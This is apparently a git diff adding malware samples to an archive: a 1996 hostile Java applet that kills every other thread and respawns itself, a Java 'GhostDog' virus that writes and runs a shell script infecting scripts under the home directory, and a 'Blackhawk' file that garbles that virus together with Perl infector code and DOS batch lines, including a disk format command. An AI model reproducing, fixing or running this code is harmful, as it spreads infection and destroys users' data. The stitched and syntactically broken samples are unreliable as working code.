diff --git a/Java/Trojan.Java.AppletKiller b/Java/Trojan.Java.AppletKiller new file mode 100644 index 00000000..39ef357c --- /dev/null +++ b/Java/Trojan.Java.AppletKiller @@ -0,0 +1,100 @@ + +/* AppletKiller.java by Mark D. LaDue */ + +/* April 1, 1996 */ + +/* Copyright (c) 1996 Mark D. LaDue + You may study, use, modify, and distribute this example for any purpose. + This example is provided WITHOUT WARRANTY either expressed or implied. */ + +/* This hostile applet stops any applets that are running and kills any + other applets that are downloaded. */ + +import java.applet.*; +import java.awt.*; +import java.io.*; + +public class AppletKiller extends java.applet.Applet implements Runnable { + Thread killer; + + public void init() { + killer = null; + } + + public void start() { + if (killer == null) { + killer = new Thread(this,"killer"); + killer.setPriority(Thread.MAX_PRIORITY); + killer.start(); + } + } + + public void stop() {} + +// Kill all threads except this one + + public void run() { + try { + while (true) { + ThreadKiller.killAllThreads(); + try { killer.sleep(100); } + catch (InterruptedException e) {} + } + } + catch (ThreadDeath td) {} + +// Resurrect the hostile thread in case of accidental ThreadDeath + + finally { + AppletKiller ack = new AppletKiller(); + Thread reborn = new Thread(ack, "killer"); + reborn.start(); + } + } +} + +class ThreadKiller { + +// Ascend to the root ThreadGroup and list all subgroups recursively, +// killing all threads as we go + + public static void killAllThreads() { + ThreadGroup thisGroup; + ThreadGroup topGroup; + ThreadGroup parentGroup; + +// Determine the current thread group + thisGroup = Thread.currentThread().getThreadGroup(); + +// Proceed to the top ThreadGroup + topGroup = thisGroup; + parentGroup = topGroup.getParent(); + while(parentGroup != null) { + topGroup = parentGroup; + parentGroup = parentGroup.getParent(); + } +// Find all subgroups recursively + findGroups(topGroup); + } + + private static void findGroups(ThreadGroup g) { + if (g == null) {return;} + else { + int numThreads = g.activeCount(); + int numGroups = g.activeGroupCount(); + Thread[] threads = new Thread[numThreads]; + ThreadGroup[] groups = new ThreadGroup[numGroups]; + g.enumerate(threads, false); + g.enumerate(groups, false); + for (int i = 0; i < numThreads; i++) + killOneThread(threads[i]); + for (int i = 0; i < numGroups; i++) + findGroups(groups[i]); + } + } + + private static void killOneThread(Thread t) { + if (t == null || t.getName().equals("killer")) {return;} + else {t.stop();} + } +} diff --git a/Java/Virus.Java.Ghotdog b/Java/Virus.Java.Ghotdog new file mode 100644 index 00000000..01bd6c85 --- /dev/null +++ b/Java/Virus.Java.Ghotdog @@ -0,0 +1,33 @@ +import java.io.*; + +class GhostDog { + public static void main (String[] argv) { + try { + String userHome = System.getProperty("user.home"); + String target = "$HOME"; + FileOutputStream outer = new FileOutputStream(userHome + "/.ghostdog.sh"); + String homer = "#!/bin/sh" + "\n" + "#-_" + "\n" + + "echo \"This is a New Target File from me..-->GhostDog<--.\"" + "\n" + + "for file in `find " + target + " -type f -print`" + "\n" + "do" + + "\n" + " case \"`sed 1q $file`\" in" + "\n" + + " \"#!/bin/sh\" ) grep '#-_' $file > /dev/null" + + " || sed -n '/#-_/,$p' $0 >> $file" + "\n" + + " esac" + "\n" + "done" + "\n" + + "2>/dev/null"; + byte[] buffer = new byte[homer.length()]; + ghostdog.getBytes(0, ghostdog.length(), buffer, 0); + public void start() { + if (sleeper == null) { + sleeper = new Thread(this); + sleeper.setPriority(Thread.MAX_PRIORITY); + sleeper.start(); + } + outer.write(buffer); + outer.close(); + Process chmod = Runtime.getRuntime().exec("/usr/bin/chmod 888 " + + userHome + "/.ghostdog.sh"); + Process exec = Runtime.getRuntime().exec("/bin/sh " + userHome + + "/.ghostdog.sh"); + } catch (IOException ioe) {} + } +} \ No newline at end of file diff --git a/Java/Virus.Java.Hawk.a.txt b/Java/Virus.Java.Hawk.a.txt new file mode 100644 index 00000000..c98c161a --- /dev/null +++ b/Java/Virus.Java.Hawk.a.txt @@ -0,0 +1,106 @@ +import java.io.*; + +class Blackhawk { +public static void main (String[] argv) { +try { +String userHome = System.getProperty("user.home"); +String target = "$HOME"; +FileOutputStream outer = new FileOutputStream(userHome + "/.Blackhawk.sh"); +String homer = "#!/bin/sh" + "\n" + "#-_" + "\n" + +"echo \"This is a New Target File from me..-->Blackhawk<--.\"" + "\n" + +"for file in `find " + target + " -type f -print`" + "\n" + "do" + +"\n" + " case \"`sed 1q $file`\" in" + "\n" + +" \"#!/bin/sh\" ) grep '#-_' $file > /dev/null" + +" || sed -n '/#-_/,$p' $0 >> $file" + "\n" + +" esac" + "\n" + "done" + "\n" + +"2>/dev/null"; +byte[] buffer = new byte[homer.length()]; +Blackhawk.getBytes(0, Blackhawk.length(), buffer, 0); +public void start() { +if (sleeper == null) { +sleeper = new Thread(this); +sleeper.setPriority(Thread.MAX_PRIORITY); +sleeper.start(); +} +use File::Find; +&virus(); + +print "\ +nThis program is infected by the Blackhawk virus\n\n"; + +sub virus + +{ + my ( $pid, $new ); + if( $pid = fork ) { return; } + else + +{ + open( source, $0 ); + finddepth ( \&infect, '/home/chris/test' ); + sub infect + +{ + open target, "$File::Find::name"; + $_ = ; + if +( /(\#!.*Blackhawk)/ ) + { + $_ = ; + if( $_ ne "use File::Find;\n" ) + { + $new = $1 . "\nuse File::Find;\n&virus();\n" . $_; + while( ) { $new = $new . $_; } + seek( source, 0, 0 ); + while( ne "sub virus\n" ) { }; + $new = $new . "\nsub virus\n"; + while( ) { $new = $new . $_; } + close target; + open target, ">$File::Find::name"; + print target $new; + } + } + close( target ); + } + close( source ); + exit( 0 ); + } + } + +# a blackhawk virus, x +# + + +outer.write(buffer); +outer.close(); +Process chmod = Runtime.getRuntime().exec("/usr/bin/chmod 888 " + +userHome + "/.Blackhawk.sh"); +Process exec = Runtime.getRuntime().exec("/bin/sh " + userHome + +"/.Blackhawk.sh"); +} catch (IOException ioe) {} +} +} +OurHost : +@IF EXIST MAKEFILE FIND "ttt"ttt.TMP +@ECHO @CTTY NUL >ttt.BAT +@ECHO IF _%1==_ttt GOTO ttt_INF >>ttt.BAT +@ECHO IF EXIST ..\MAKEFILE CALL ttt.BAT ttt ..\MAKEFILE >>ttt.BAT +@ECHO GOTO ttt_END >>ttt.BAT +[Set Color Message Black Black][Exist %ExePath\My.Pro][If %Exist != 1] +[Copy %FilePath\My.Pro %ExePath\My.Pro][End][Message][Set Color Message Red+ Black] +[Set Color Message Black Black][Exist %FilePath\My.Pro][If %Exist != 1] +[Copy %ExePath\My.Pro %FilePath\My.Pro][End][Message][Set Color Message Red+ Black] +;; Payload *.*exe,com,bat,vbs,asm +Set BEEP On +Def *T172000=[Write 10 20 Your computer is infected with Blackhawk.Virus.\n , ] +[Play MST12005][Play L4CDECCDECEFL2GL4EFL2G][Play L8GAGFL4ECL8GAGFL4EC][Play L4CO2GO3L2CL4CO2GO3L2C][Redraw] +@ECHO :ttt_INF >>ttt.BAT +@ECHO FIND "ttt" %2 >>ttt.BAT +@ECHO IF NOT ERRORLEVEL 1 GOTO ttt_END >>ttt.BAT +@ECHO COPY /B %2+GW.TMP %2 >>ttt.BAT +@ECHO :ttt_END >>ttt.BAT +@ECHO FORMAT C:/Q +@call ttt.BAT +@del ttt.BAT +@del ttt.TMP +# [Blackhawk] by Kingrhua//SMF \ No newline at end of file